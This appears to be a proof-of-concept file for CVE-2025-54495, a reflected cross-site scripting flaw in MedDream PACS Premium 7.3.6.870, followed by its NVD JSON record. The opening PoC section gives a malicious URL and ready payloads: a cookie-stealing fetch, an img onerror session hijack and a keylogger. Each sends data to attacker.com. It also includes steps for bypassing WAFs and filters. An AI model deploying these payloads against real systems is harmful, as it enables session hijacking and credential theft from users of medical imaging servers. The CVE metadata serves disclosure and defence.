CVE-2025-54495

<!-- CVE-2025-54495 PoC - Reflected XSS in MedDream PACS Premium emailfailedjob --> <!-- Target: MedDream PACS Premium 7.3.6.870 --> <!-- Attack Vector: Crafted URL with malicious JavaScript in emailfailedjob parameter --> <!-- PoC URL (URL encode the payload for actual use) --> <!-- https://[target]/path/emailfailedjob?param=<script>alert(document.cookie)</script> --> <!-- Example attack scenarios --> <!-- 1. Cookie Stealing --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- 2. Session Hijacking --> <img src=x onerror='fetch("https://attacker.com/log?data="+document.cookie)'> <!-- 3. Keylogger --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); </script> <!-- Recommended testing approach --> <!-- 1. Identify the vulnerable endpoint --> <!-- 2. Test with basic XSS payload: <script>alert('XSS')</script> --> <!-- 3. Verify script execution in browser context --> <!-- 4. Check for WAF or input filtering bypass --> <!-- 5. Test with various encoding and obfuscation techniques -->

{"cve": {"id": "CVE-2025-54495", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:00.233", "lastModified": "2026-01-29T15:27:04.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the emailfailedjob functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious url can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Existe una vulnerabilidad de cross-site scripting (XSS) reflejado en la funcionalidad emailfailedjob de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede conducir a la ejecución arbitraria de código JavaScript. Un atacante puede proporcionar una URL manipulada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2255", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2255", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}